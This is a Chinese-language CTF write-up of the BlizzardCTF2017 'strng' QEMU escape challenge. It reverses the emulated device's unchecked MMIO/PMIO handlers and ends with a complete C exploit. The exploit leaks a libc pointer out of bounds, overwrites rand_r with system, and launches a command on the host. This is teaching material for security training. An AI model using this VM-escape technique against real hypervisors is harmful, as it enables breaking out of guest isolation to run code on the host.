【qemu逃逸】BlizzardCTF2017-strng

news2024/11/30 2:35:55

前言

虚拟机用户名:ubuntu

密码:passw0rd

一道入门题,看下启动脚本:

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

可以看到加载了 strng 这个设备,并将虚拟机的 22 端口映射到了宿主机的 5555 端口,所以后面可以用如下命令将 exp 传入虚拟机:

scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu

程序分析

设备定位

直接将 qemu-system-x86_64 丢入 IDA,然后定位到 strng 相关的函数:

从 strng_class_init 函数可以得知 strng 设备的 verdorid = 0x1234,deviceid=0x11E9。然后可以定位到其对应的设备资源:

访问其资源,可以看到存在 resource0 和 resource1 说明其有 mmio 和 pmio 空间(其中从 IDA 里面的函数名也可以看出来):

设备逆向

最主要的就是与 mmio 和 pmio 相关的函数,这里依次看下。这里提前说下,以下函数每次操作的都是下面这个结构体:也就是我们的类实例

strng_mmio_read

这个函数似乎存在溢出,因为其没有对 addr 进行大小检查,所以 addr >> 2 可能造成越界。

strng_mmio_write

函数的功能很简单,也是缺乏对 addr 的大小检查,值得注意的是我的注释部分。

strng_pmio_read

 这里也是没有对 opaque->addr 的大小做检查,如果我们能够控制 opaque->addr 则导致任意读。

  strng_pmio_write

这个函数就很明显了,我们有直接设置 opaque->addr 的能力,配合 pmio_read 可以实现任意读,而结合其自身可以实现任意写。因为该函数也没有对 opaque->addr 的大小做检查。

漏洞分析

- mmio_read 中存在直接越界读

- mmio_write 中存在直接越界写

- pmio_read 与 pmio_write 配合可以实现任意地址读写(不完全任意,应该说越界读写好一些,不想改了)

但是这里需要注意的是 mmio 本身会对地址范围做检查,所以这里第1、2个漏洞无法利用。最后通过 pmio_read 与 pmio_write 实现任意地址读写。

利用方式:

        1、越界读取 regs 后面的 srand/rand/rand_r 函数指针去泄漏 system 函数地址

        2、再回到 strng_mmio_write 函数中:

可以看到在 idx == 3 成立时,会调用 opaque->rand_r,所以可以通过越界读去修改 rand_r 指针为 system 函数地址。

        3、然后之前向 regs[2] 处写入 ”gnome-calculator" 字符串,最后触发即可弹计算机。

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio_mem;
size_t pmio_mem = 0xc050;

void mmio_init()
{
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR|O_SYNC);
        if (mmio_fd < 0) perror("[X] open mmio"), exit(EXIT_FAILURE);

        mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem < 0) perror("[X] mmap mmio"), exit(EXIT_FAILURE);

        if (mlock(mmio_mem, 0x1000) == -1) perror("[X] mlock mmio"), exit(EXIT_FAILURE);
}

size_t mmio_read(size_t offset)
{
        return *(size_t*)(mmio_mem + offset);
}

size_t mmio_write(size_t offset, size_t value)
{
        *(size_t*)(mmio_mem + offset) = value;
}

void pmio_init()
{
        if (iopl(3) == -1) perror("[X] iopl"), exit(EXIT_FAILURE);
}

size_t pmio_read(size_t offset)
{
        return inl(pmio_mem + offset);
}

void pmio_write(size_t offset, size_t value)
{
        outl(value, pmio_mem + offset);
}

uint64_t arb_read(size_t offset)
{
        pmio_write(0, offset<<2);
        uint64_t val = pmio_read(4);
        pmio_write(0, (offset+1)<<2);
        return val | (1ULL * pmio_read(4) << 32);
}

void arb_write(size_t offset, uint64_t val)
{
        pmio_write(0, offset<<2);
        pmio_write(4, val & 0xffffffff);
        pmio_write(0, (offset+1)<<2);
        pmio_write(4, val >> 32);
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        uint64_t srand_addr = arb_read(65);
        printf("[+] srand_addr => %#llx\n", srand_addr);
        uint64_t system_addr = srand_addr + 0xacd0;
        printf("[+] system_addr => %#llx\n", system_addr);

        mmio_write(8, 0x6d6f6e67);
        mmio_write(8+4, 0x61632d65);
        //mmio_write(8+4+4, 0x6c75636c);
        //mmio_write(8+4+4+4, 0x726f7461);

        arb_write(4, 0x726f74616c75636c);
        arb_write(69, system_addr);
        mmio_write(8+4, 0xdeadbeef);

        return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1165965.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微信自动回复有什么好处?怎么设置?

微信自动回复有什么好处&#xff1f; 首先&#xff0c;它可以帮助我们节省时间和精力。当我们无法立即回复消息时&#xff0c;自动回复可以及时告知对方我们的状况&#xff0c;避免对方的焦虑和不便。 其次&#xff0c;自动回复可以增强沟通效率。无论是工作还是个人生活中&a…

sqlsugar查询数据库下的所有表,批量修改表名字

查询数据库中的所有表 using SqlSugar;namespace 批量修改数据库表名 {internal class Program{static void Main(string[] args){SqlSugarClient sqlSugarClient new SqlSugarClient(new ConnectionConfig(){ConnectionString "Data Source(localdb)\\MSSQLLocalDB;In…

SSD-1B:Segmind的加速稳定扩散模型

Segmind 稳定扩散模型 (SSD-1B) 是稳定扩散 XL (SDXL) 缩小 50% 的精简版本&#xff0c;可提供 60% 的加速&#xff0c;同时保持高质量的文本到图像生成功能。 它已经过各种数据集的训练&#xff0c;包括 Grit 和 Midjourney scrap 数据&#xff0c;以增强其根据文本提示创建各…

Find My卡片|苹果Find My技术与卡片结合,智能防丢,全球定位

钱包是许多人正常生活必备的物品&#xff0c;如果丢失钱包&#xff0c;不仅是钱的损失&#xff0c;还因为丢失了证件和银行卡&#xff0c;导致我们需要话费大量时间去补办&#xff0c;造成生活的不便。如今防丢卡片的出现将减少这类问题的发生。 在智能化加持下&#xff0c;防丢…

Python库Requests的爬虫程序爬取视频通用模版

这是一个使用Python库Requests的爬虫程序&#xff0c;用于爬取网上的视频。代码必须使用以下代码&#xff1a;爬虫IP主机为duoip&#xff0c;爬虫IP端口为8000。 import requests proxy_host "duoip" proxy_port 8000 url "目标网站" headers {"U…

BI数据可视化报表开发教程,手把手教你做报表

在奥威BI数据可视化平台上&#xff0c;BI数据可视化报表有两种做法。一种是使用报表模板&#xff0c;极速开发报表&#xff1b;一种是从零开始一步一步&#xff0c;个性化开发报表。这两种报表开发在效率上会拉开一定距离&#xff0c;操作繁琐程度不一&#xff0c;但总体来看都…

DG双击后没有反应的解决办法

在Win 97 x64 上安装 DG 相关文件后使用正常&#xff0c; 但是换了一台电脑&#xff0c;注册运行使用后一次之后&#xff0c;再双击 图标没有反应&#xff0c;现将处理方法介绍如下&#xff1a; 【方法1&#xff1a;更名法】 找到“当前用户”目录&#xff0c;可以看到系统隐…

功率放大器功能及用途介绍

功率放大器是一种用于将输入信号的电压放大到更高水平的电子设备。它在各个领域中发挥着重要作用&#xff0c;包括音频、通信、测量和控制等应用。下面Aigtek安泰电子将详细介绍功率放大器的功能及其主要用途。 图&#xff1a;ATA-3000系列功率放大器 功率放大器的功能介绍&…

产品运营是做什么的?新手运营必读篇

产品运营是产品取得成功&#xff0c;实现产品的商业目标的重要支撑。产品运营岗位的专业能力要求庞杂&#xff0c;在岗或准备入坑人员应该如何巩固自身的知识/技能树&#xff1f; 本文将介绍产品运营相关的知识&#xff0c;希望能帮助你找到提升竞争力的思路&#xff01; 产品…

在分布式系统中实现数据一致性:发件箱模式

在分布式系统的错综复杂的编织中&#xff0c;尤其是在微服务架构内&#xff0c;可靠的消息传递和数据一致性的挑战无处不在且要求极高。发件箱模式&#xff0c;常被引用于微服务的独特领域内&#xff0c;从一个关键场景中浮现出来&#xff0c;确保本地数据库事务的原子性和发布…

vue+canvas实现横跨整个页面的动态的波浪线(贝塞尔曲线)

本来写这个特效 我打算用css实现的,结果是一波三折,我太难了,最终没能用css实现,转战了canvas来实现。来吧先看效果图 当然这个图的波浪高度、频率、位置、速度都是可调的,请根据自己的需求调整,如果你讲波浪什么的调大一下 还有有摆动的效果哦。 以下是完整代码 <…

SAP 获取GOS附件清单及URL数据方法

很久没有更新了&#xff0c;断更了快两个月了&#xff0c;最近准备软考考试&#xff0c;刚考完不知道这次能不能通过 回归正题 SAP中很多业务中都是可以上传附件或者是上传URL的路径的&#xff0c;上传附件长时间会占用SAP的空间&#xff0c;使用GOS大多数都是采用上传URL的方式…

【好书推荐】AI时代架构师修炼之道:ChatGPT让架构师插上翅膀

目录 前言 ChatGPT对架构师工作的帮助 快速理解和分析需求 提供代码建议和解决方案 辅助系统设计和优化 提高团队协作效率 如何使用ChatGPT提高架构师工作效率 了解用户需求和分析问题 编码实践和问题解决 系统设计和优化建议 团队协作和沟通效率提升 知识管理和文…

SOME/IP 协议介绍(一)

1. 引言和功能概述 本文档规定了可扩展面向服务基于IP的中间件&#xff08;SOME/IP&#xff09;——一种用于汽车/嵌入式RPC机制和底层序列化/传输格式的示例&#xff0c;作为由RTE调用的序列化器。 唯一有效的缩写是SOME/IP。其他缩写&#xff08;例如Some/IP&#xff09;是…

echarts有4个y轴,点击图例依次按顺序显示和隐藏

代码&#xff1a; <template><div><el-row class"actually" style"padding-top:10px;height: 420px;"><div style"font-size: 14px; font-weight: bold; margin: 0 10px 0 5px; display: inline-block">Cloud Usage<…

构建生成式AI应用:关键因素是什么?

原创 | 文 BFT机器人 生成式AI是一种基于机器学习和深度学习的技术&#xff0c;通过训练模型来生成新的内容&#xff0c;它可以通过学习现有的数据&#xff0c;理解其规律和特征&#xff0c;并生成与之类似的新内容&#xff0c;生成式AI在多个领域具有广泛的应用潜力。然而&am…

vue3+element Plus实现弹框的拖拽、可点击底层页面功能

1、template部分 <el-dialog:modal"false"v-model"dialogVisible"title""width"30%"draggable:close-on-click-modal"false"class"message-dialog"> </el-dialog> 必须加的属性 modal:是否去掉遮罩层…

【踩坑及思考】浏览器存储 cookie 最大值超过 4kb,或 http 头 cookie 超过限制值

背景 本地生产环境&#xff1a;超过最大值 cookie token 不存储&#xff1b;客户生产环境&#xff1a;打开系统空白&#xff0c;且控制台报 http 400 错误&#xff1b; 出现了两种现象 现象一&#xff1a;浏览器对大于 4kb 的 cookie 值不存储 导致用户名密码登录&#xff…

kill-port,跨平台解决端口占用问题

在日常开发中&#xff0c;端口占用问题一直是令人头疼的难题。为了更高效地管理端口资源&#xff0c;开发者们经常需要一种快速而可靠的解决方案。在这方面&#xff0c;kill-port 的出现为我们提供了一种强大而便捷的工具。本篇博客将深入介绍 kill-port 解决端口占用问题的优势…

Marp: 将 Markdown 变为 PPT 式样的 VScode 插件

样例代码&#xff1a; --- marp: true size: 16:9 theme: default header: footer: --- <!-- _footer: Jia ming<br>Gansu University of Political Science and Law --> <!-- _backgroundColor: lightskyblue --> ## <!-- fit --> 笔记检验概述>…